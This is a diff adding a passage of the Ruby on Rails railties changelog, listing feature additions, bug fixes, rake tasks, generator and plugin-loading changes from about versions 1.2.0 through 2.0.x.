+
+* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) *David Heinemeier Hansson*
+
+* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers *Geoff Buesing*
+
+* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment *Geoff Buesing*
+
+* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons *David Heinemeier Hansson*
+
+* Added that gems can now be plugins if they include rails/init.rb #11444 *John Barnette*
+
+* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 *James Adam*
+
+ plugin = Rails::Plugin.new(path_to_my_plugin)
+ plugin.about["author"] # => "James Adam"
+ plugin.about["url"] # => "http://interblah.net"
+
+* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
+
+* Added config.time_zone = 'UTC' in the default environment.rb *Geoff Buesing*
+
+* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option *Geoff Buesing*
+
+* Add config.time_zone for configuring the default Time.zone value. #10982 *Geoff Buesing*
+
+* Added support for installing plugins hosted at git repositories #11294 *Jack Danger Canty*
+
+* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 *glv*
+
+* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 *matt*
+
+* Added a -e/--export to script/plugin install, uses svn export. #10847 *jon@blankpad.net)*
+
+* Reshuffle load order so that routes and observers are initialized after plugins and app initializers. Closes #10980 *Rick Olson*
+
+* Git support for script/generate. #10690 *ssoroka*
+
+* Update scaffold to use labels instead of bold tags. Closes #10757 *zach-inglis-lt3*
+
+* Resurrect WordNet synonym lookups. #10710 *tom./, matt*
+
+* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) *David Heinemeier Hansson*
+
+* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 *jeff*
+
+* SQLite: db:drop:all doesn't fail silently if the database is already open. #10577 *Cheah Chu Yeow, mrichman*
+
+* Introduce native mongrel handler and push mutex into dispatcher. *Jeremy Kemper*
+
+* Ruby 1.9 compatibility. #1689, #10546 *Cheah Chu Yeow, frederico*
+
+
+## 2.0.2 (December 16th, 2007) ##
+
+* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" *David Heinemeier Hansson*
+
+* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) *David Heinemeier Hansson*
+
+* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 *revans*
+
+* Fixed that local database creation should consider 127.0.0.1 local #9026 *parcelbrat*
+
+* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 *boone*
+
+* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432 *matt*
+
+* RAILS_GEM_VERSION may be double-quoted also. #10443 *James Cox*
+
+* Update rails:freeze:gems to work with RubyGems 0.9.5. *Jeremy Kemper*
+
+
+## 2.0.1 (December 7th, 2007) ##
+
+* Fixed Active Record bug
+
+
+## 2.0.0 (December 6th, 2007) ##
+
+* The test task stops with a warning if you have pending migrations. #10377 *Josh Knowles*
+
+* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 *Thijs van der Vossen*
+
+* Update Prototype to 1.6.0.1. *sam*
+
+* Update script.aculo.us to 1.8.0.1. *madrobby*
+
+* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 *John Barnette*
+
+* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 *John Barnette*
+
+* Update to Prototype -r8232. *sam*
+
+* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later. #10286 *Hongli Lai (Phusion)*
+
+* RAILS_GEM_VERSION may be set to any valid gem version specifier. #10057 *Chad Woolley, Cheah Chu Yeow*
+
+* Load config/preinitializer.rb, if present, before loading the environment. #9943 *Chad Woolley*
+
+* FastCGI handler ignores unsupported signals like USR2 on Windows. *Grzegorz Derebecki*
+
+* Only load ActionMailer::TestCase if ActionMailer is loaded. Closes #10137 *defunkt*
+
+* Fixed that db:reset would use migrations instead of loading db/schema.rb *David Heinemeier Hansson*
+
+* Ensure the plugin loader only loads plugins once. Closes #10102 *haruki_zaemon*
+
+* Refactor Plugin Loader. Add plugin lib paths early, and add lots of tests. Closes #9795 *James Adam*
+
+* Added --skip-timestamps to generators that produce models #10036 *Tim Pope*
+
+* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. *sam, madrobby*
+
+* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) *Jeffrey Allan Hardy*
+
+* Fix typo in test_helper. Closes #9925 *viktor tron*
+
+* Request profiler. *Jeremy Kemper*
+
+* config/boot.rb correctly detects RAILS_GEM_VERSION. #9834 *alexch, thewoolleyman*
+
+* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 *Jeremy McAnally*
+
+* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. *sam, madrobby*
+
+* Generated fixtures use the actual primary key instead of id. #4343 *Frederick Ros, Tarmo Tänav*
+
+* Extend the console +helper+ method to allow you to include custom helpers. e.g:
+ >> helper :posts
+ >> helper.some_method_from_posts_helper(Post.find(1))
+
+* db:create works with remote databases whereas db:create:all only creates
+ databases on localhost. #9753 *Trevor Wennblom*
+
+* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb *David Heinemeier Hansson*
+
+* Add --prefix option to script/server when using mongrel. *dacat*
+
+
+## 2.0.0 Preview Release (September 29th, 2007) Includes duplicates of changes from 1.1.4 - 1.2.3 ##
+
+* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 *evan*
+
+* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. *Rick Olson*
+
+* Moved Dispatcher to ActionController::Dispatcher. *Jeremy Kemper*
+
+* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
+
+* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised *David Heinemeier Hansson*
+
+* Added --skip-fixture option to script/generate model #6862 *sandofsky*
+
+* Print Rails version when starting console #7440 *eyematz*
+
+* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 *jkit*
+
+* Added TEMPLATE option to rake doc:app to set a custom output template #7737 *Jakob Skjerning*
+
+* Added VERBOSE option to rake db:migrate to turn off output #8204 *John Barnette*
+
+* Fixed that rake doc:app should use UTF-8 #8906 *farzy*
+
+* Fixes rake annotations to search erb and builder files as well #9150 *m.langenberg*
+
+* Removed web_service generator *Michael Koziarski*
+
+* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example:
+
+ # Loads :classic_pagination before all the other plugins
+ config.plugins = [ :classic_pagination, :all ]
+
+* Added symbols as a legal way of specifying plugins in config.plugins #9629 *tom*
+
+* Removed deprecated task names, like clear_logs, in favor of the new namespaced style *David Heinemeier Hansson*
+
+* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate. #9582 *Zach Dennis*
+
+* Added db:drop:all to drop all databases declared in config/database.yml *David Heinemeier Hansson*
+
+* Use attribute pairs instead of the migration name to create add and remove column migrations. Closes #9166 *Pratik Naik*
+
+ For example:
+
+ ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string
+
+ or
+
+ ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string
+
+* Add ActiveResource to Rails::Info. Closes #8741 *Chris Kampmeier*
+
+* use Gem.find_name instead of search when freezing gems. Prevent false positives for other gems with rails in the name. Closes #8729 *wselman*
+
+* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent. Closes #9006 *Ryan Davis*
+
+* Default to plural table name in Rails Generator if ActiveRecord is not present. Closes #8963 *evan*
+
+* Added rake routes for listing all the defined routes in the system. #8795 *Josh Peek*
+
+* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments. #8783 *matt*
+
+* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also. #8730 *Dr Nic, topfunky*
+
+* MySQL, PostgreSQL: database.yml defaults to utf-8. #8701 *matt*
+
+* Added db:version to get the current schema number *via Err The Blog*
+
+* Added --skip-migration option to scaffold and resource generators #8656 *Michael Glaesemann*
+
+* Fix that FCGIs would leave log files open when asked to shut down by USR2. #3028 *Sebastian Kanthak, Josh Peek*
+
+* Fixed that dispatcher preparation callbacks only run once in production mode. Mock Routes.reload so that dispatcher preparation callback tests run. *Rick Olson*
+
+* Fix syntax error in dispatcher than wrecked failsafe responses. #8625 *mtitorenko*
+
+* Scaffolded validation errors set the appropriate HTTP status for XML responses. #6946, #8622 *Manfred Stienstra, mmmultiworks*
+
+* Sexy migrations for the session_migration generator. #8561 *Vladislav*
+
+* Console reload! runs to_prepare callbacks also. #8393 *f.svehla*
+
+* Generated migrations include timestamps by default. #8501 *Shane Vitarana*
+
+* Drop Action Web Service from rails:freeze:edge. *Jeremy Kemper*
+
+* Add db:create, drop, reset, charset, and collation tasks. #8448 *matt*
+
+* Scaffold generator depends on model generator instead of duplicating it. #7222 *bscofield*
+
+* Scaffold generator tests. #8443 *pelle*
+
+* Generated scaffold functional tests use assert_difference. #8421 *Norbert Crombach*
+
+* Update to Prototype 1.5.1. *Sam Stephenson*
+
+* Update to script.aculo.us 1.7.1_beta3. *Thomas Fuchs*
+
+* Generators use *.html.erb view template naming. #8278 *Tim Pope*
+
+* Updated resource_scaffold and model generators to use short-hand style migrations *David Heinemeier Hansson*
+
+* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. *Nicholas Seckar*
+
+* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back *David Heinemeier Hansson*
+
+ To use the new debugger, start your server with script/server --debugger and insert a call to 'debugger'
+ (instead of 'breakpoint') where you want to jump into the debugger.
+
+ BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb:
+
+ config.breakpoint_server = true
+
+ This configuration option is no longer available. Rails will fail to start in development mode as long as
+ that's still present.
+
+* Resource scaffolding returns the created entity.to_xml. *Jeremy Kemper*
+
+* Resource scaffolding responds to new.xml. #8185 *Eric Mill*
+
+* Include Active Resource in rails:freeze:edge rake task. *Thomas Fuchs*
+
+* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb:
+
+ config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib )
+
+ ...or just gem 'actionwebservice'
+
+* Give generate scaffold a more descriptive database message. Closes #7316 *Jeremy McAnally*
+
+* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows. #6755 *Jeremy Kemper, trevor*
+
+* Deprecation: remove components from controller paths. *Jeremy Kemper*
+
+* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. *Nicholas Seckar*
+
+* Windows: include MinGW in RUBY_PLATFORM check. #2982 *okkez000@gmail.com, Kaspar Schiess*
+
+* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. *Marcel Molina Jr.*
+
+* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option. Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now. *Marcel Molina Jr.*
+
+* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license *David Heinemeier Hansson*
+
+* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo.
+
+* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time *David Heinemeier Hansson*
+
+* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff *David Heinemeier Hansson*
+
+* For new apps, generate a random secret for the cookie-based session store. *Jeremy Kemper*
+
+* Stop swallowing errors during rake test *Michael Koziarski*
+
+* Update Rails Initializer to use ActionController::Base#view_paths *Rick Olson*
+
+* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ *Chad Fowler*
+
+* Plugins may be symlinked in vendor/plugins. #4245 *brandon, progrium@gmail.com*
+
+* Resource generator depends on the model generator rather than duplicating it. #7269 *bscofield*
+
+* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator. Closes #7092, #7271, #7267. *bscofield*
+
+* Update to script.aculo.us 1.7.0. *Thomas Fuchs*
+
+* Update to Prototype 1.5.0. *Sam Stephenson*
+
+* Generator: use destination path for diff tempfiles. #7015 *alfeld*
+
+* Fixed that webrick would strip leading newlines and hang connection #4156 *psross*
+
+* Ensure plugins are in the Dependencies.load_once_paths collection by default. *Rick Olson*
+ If you really want your plugins to reload, add this to the very top of init.rb:
+
+ Dependencies.load_once_paths.delete(lib_path)
+
+* Allow config.to_prepare to work, make the dispatcher safe to 're require'. *Michael Koziarski, Nicholas Seckar*
+
+* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 *fearoffish*
+
+* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 *Rick Olson*
+
+* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. *James Adam*
+
+* Don't generate a components directory in new Rails apps. *Jeremy Kemper*
+
+* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) *David Heinemeier Hansson*
+
+* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) *David Heinemeier Hansson*
+
+* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment *David Heinemeier Hansson*
+
+* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. *Nicholas Seckar*
+
+* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) *David Heinemeier Hansson*
+
+* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available *David Heinemeier Hansson*
+
+* Update to Prototype and script.aculo.us [5579]. *Thomas Fuchs*
+
+* Made script/server work with -e and -d when using Mongrel *David Heinemeier Hansson*
+
+* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again *Thomas Fuchs*
+
+* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action *Tobias Lütke*
+
+* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 *fearoffish*
+
+* Update to Prototype 1.5.0_rc2. *Sam Stephenson*
+
+* Add grep-based fallback to reaper, to work in pidless setups *Jamis Buck*
+
+* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. *Jeremy Kemper*
+
+* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. *Nicholas Seckar*
+
+* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 *jchris*
+
+* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. *Nicholas Seckar*
+
+* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 *Josh Susser*
+
+* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 *jeffw, Jeremy Kemper*
+
+* Generated directories are recursively svn added, like mkdir -p. #6416 *NeilW*
+
+* resource and scaffold_resource generators add a restful route to config/routes.rb *Jeremy Kemper*
+
+* Revert environment changes for autoload_paths. *Michael Koziarski*
+
+* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions *Thomas Fuchs*
+
+* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests *Michael Koziarski*
+
+* Added option to script/process/spawner of specifying the binding address #5133 *Dee Zsombor*
+
+* Update environment.rb comments to include config.autoload_paths. Closes #6478 *caio*
+
+* Update scaffold to use new form_tag block functionality. Closes #6480. *Bob Silva*
+
+* Plugin generator: check for class collisions. #4833 *vinbarnes@gmail.com*
+
+* Mailer generator: handle mailers in modules, set mime_version in unit test. *Jeremy Kemper*
+
+* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. *Michael Koziarski*
+
+* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
+
+ config.plugins = %w[ routing_navigator simply_helpful ]
+
+* Clean up html on included error pages. *Tim Lucas*
+
+* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language *David Heinemeier Hansson*
+
+* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs*
+
+* PostgreSQL: db:test:purge closes open database connections first. #6236 *alex*
+
+* Fixed test:uncommitted on Windows (backslash issue) #4999 *paul@paulbutcher.com*
+
+* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 *Bob Silva*
+
+* Fixed rename_table on SQLite tables with indexes defined #5942 *brandon@opensoul.org*
+
+* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations *David Heinemeier Hansson*
+
+* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
+
+ ./script/generate model post title:string created_on:date body:text published:boolean
+
+* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined *David Heinemeier Hansson*
+
+* script/runner can run files, pass on arguments, and be used as a shebang. #6286 *Tuxie, dlpond*
+ #!/usr/bin/env /path/to/my/app/script/runner
+ # Example: just start using your models as if you are in script/console
+ Product.find(:all).each { |product| product.check_inventory }
+
+* Look for rake tasks in plugin subdirs. #6259 *obrie*
+
+* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb *David Heinemeier Hansson*
+
+* Updated prototype.js to 1.5.0_rc1 with latest fixes. *Rick Olson*
+
+ - XPATH support
+ - Make Form.getElements() return elements in the correct order
+ - fix broken Form.serialize return
+
+* session_migration generator adds an index on updated_at. #6207 *grg*
+
+* script/server creates the tmp/pids directory. #6204 *jonathan*
+
+* Fix script/console --sandbox for internal transactions changes. #5738 *Chris McGrath, charles.gerungan@gmail.com*
+
+* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
+ documented in initializer.rb, the workaround is:
+
+ config.autoload_paths += Dir*RAILS_ROOT + '/app/models/*/'*
+
+ References #6031. *Nicholas Seckar*
+
+* Update to script.aculo.us 1.6.3 *Thomas Fuchs*
+
+* Update to Prototype 1.5.0_rc1 *sam*
+
+* Formally Deprecate the old rake tasks. *Michael Koziarski*
+
+* Thoroughly test the FCGI dispatcher. #5970 *Kevin Clark*
+
+* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. *Rick Olson*
+
+* Tighten rescue clauses. #5985 *james@grayproductions.net*
+
+* Cleaning up tests. *Kevin Clark, Jeremy Kemper*
+
+* Add Dependencies.load_once_paths. *Nicholas Seckar*
+
+* Updated to script.aculo.us 1.6.2 *Thomas Fuchs*
+
+* Assign Routing.controller_paths; fix script/about and rails info controller. *Nicholas Seckar*
+
+* Don't warn dispatcher of Reloadable deprecations. *Nicholas Seckar*
+
+* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base *Rick Olson*
+
+ ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
+ ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
+
+* Add missing mock directories from the autoload_paths configuration. *Rick Olson*
+
+* Nested controller scaffolding also nests the generated layout. *iain d broadfoot*
+
+* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. *Nicholas Seckar*
+
+* Add autoload_paths support to Initializer. *Nicholas Seckar*
+
+* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. *Rick Olson*
+
+* Clarify usage of script/plugin source. Closes #5344. *James Adam*
+
+* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. *Nicholas Seckar*
+
+* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. *Rick Olson*
+
+* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 *mats@imediatec.co.uk*
+
+* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 *Shugo Maeda*
+
+* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. *Rick Olson*
+
+* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. *Jamis Buck*
+
+* Fix script/plugin about so it uses about.yml and not meta.yml. *James Adam*
+
+* Dispatcher processes rescued actions with the same controller that processed the request. #4625 *sd@notso.net*
+
+* rails -d frontbase to create a new project with a frontbase database.yml. #4945 *mlaster@metavillage.com*
+
+* Ensure the logger is initialized. #5629 *mike@clarkware.com*
+
+* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
+
+ spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
+ spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
+ spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
+ spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
+ spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
+
+ Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
+
+* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 *evan@protest.net*
+
+* db:test:clone should remove existing tables before reloading the schema. #5607 *sveit@tradeharbor.com*
+
+* Fixed migration generation for class names like ACLController #5197 *brad@madriska.com*
+
+* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
+
+ irb(#<TopController:0x40822a68>):002:0> show_source_list
+ 0001 class TopController < ApplicationController
+ 0002 def show
+ 0003-> breakpoint
+ 0004 end
+ 0005
+ 0006 def index
+ 0007 end
+ 0008
+ => "/path/to/rails/root/app/controllers/top_controller.rb"
+
+ irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
+ vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+ vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+ app/controllers/top_controller.rb:3:in `show'
+ => "/path/to/rails/root/app/controllers/top_controller.rb:3"
+
+* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 *nils@alumni.rice.edu*
+
+* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 *mike@clarkware.com*
+
+* Don't assume Active Record is available. #5497 *bob@sporkmonger.com*
+
+* Mongrel: script/server works on Win32. #5499 *jeremydurham@gmail.com*
+
+* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. *Nick Sieger*
+
+* Mongrel support for script/server. #5475 *jeremydurham@gmail.com*
+
+* Fix script/plugin so it doesn't barf on invalid URLs *Rick Olson*
+
+* Fix plugin install bug at dir with space. (closes #5359) *Yoshimasa NIWA*
+
+* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. *Rick Olson*
+
+* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 *takiuchi@drecom.co.jp*
+
+* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 *elliot@townx.org*
+
+* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. *Jamis Buck*
+
+* Make "script/plugin install" work with svn+ssh URLs. *Sam Stephenson*
+
+* Added lib/ to the directories that will get application docs generated *David Heinemeier Hansson*
+
+* Add observer generator. Closes #5167. *François Beausoleil*
+
+* Session migration generator obeys pluralize_table_names. #5145 *James Adam*
+
+* rake test:recent understands subdirectories. #2925 *jerrett@bravenet.com*
+
+* The app generator detects the XAMPP package's MySQL socket location. #3832 *elliot@townx.org*
+
+* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 *rcoder, rails-bug@owl.me.uk*
+
+* Distinguish the spawners for different processes *David Heinemeier Hansson*
+
+* Added -n/--process to script/process/spawner name the process pid (default is dispatch) *David Heinemeier Hansson*
+
+* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) *Julian Tarkhanov*
+
+* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
+
+* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids *David Heinemeier Hansson*
+
+* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids *David Heinemeier Hansson*
+
+
+## 1.2.3 (March 12th, 2007) ##
+
+* Ruby 1.8.6 compatibility
+
+* Windows: include MinGW in RUBY_PLATFORM check. #2982 *okkez000@gmail.com, Kaspar Schiess*
+
+* Stop swallowing errors during rake test *Michael Koziarski*
+
+
+## 1.2.2 (February 5th, 2007) ##
+
+* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ *Chad Fowler*
+
+* Require the dispatcher for Rails::Configuration#to_prepare. *Rick Olson*
+
+
+## 1.2.1 (January 16th, 2007) ##
+
+* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1
+
+
+## 1.2.0 (January 16th, 2007) ##
+
+* Update to Prototype 1.5.0. *Sam Stephenson*
+
+* Generator: use destination path for diff tempfiles. #7015 *alfeld*
+
+* Fixed that webrick would strip leading newlines and hang connection #4156 *psross*
+
+* Ensure plugins are in the Dependencies.load_once_paths collection by default. *Rick Olson*
+ If you really want your plugins to reload, add this to the very top of init.rb:
+
+ Dependencies.load_once_paths.delete(lib_path)
+
+* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 *fearoffish*
+
+* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 *Rick Olson*
+
+* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. *James Adam*
+
+* Don't generate a components directory in new Rails apps. *Jeremy Kemper*
+
+* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) *David Heinemeier Hansson*
+
+* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 *David Heinemeier Hansson*
+
+* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment *David Heinemeier Hansson*
+
+* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. *Nicholas Seckar*
+
+* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) *David Heinemeier Hansson*
+
+* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available *David Heinemeier Hansson*
+
+* Update to Prototype and script.aculo.us [5579]. *Sam Stephenson, Thomas Fuchs*
+
+* Made script/server work with -e and -d when using Mongrel *David Heinemeier Hansson*
+
+* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action *Tobias Lütke*
+
+* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 *fearoffish*
+
+* Add grep-based fallback to reaper, to work in pidless setups *Jamis Buck*
+
+* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. *Jeremy Kemper*
+
+* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. *Nicholas Seckar*
+
+* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 *jchris*
+
+* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 *Josh Susser*
+
+* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 *jeffw, Jeremy Kemper*
+
+* Generated directories are recursively svn added, like mkdir -p. #6416 *NeilW*
+
+* resource and scaffold_resource generators add a restful route to config/routes.rb *Jeremy Kemper*
+
+* Revert environment changes for autoload_paths. *Michael Koziarski*
+
+* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests *Michael Koziarski*
+
+* Added option to script/process/spawner of specifying the binding address #5133 *Dee Zsombor*
+
+* Update environment.rb comments to include config.autoload_paths. Closes #6478 *caio*
+
+* Update scaffold to use new form_tag block functionality. Closes #6480. *Bob Silva*
+
+* Plugin generator: check for class collisions. #4833 *vinbarnes@gmail.com*
+
+* Mailer generator: handle mailers in modules, set mime_version in unit test. *Jeremy Kemper*
+
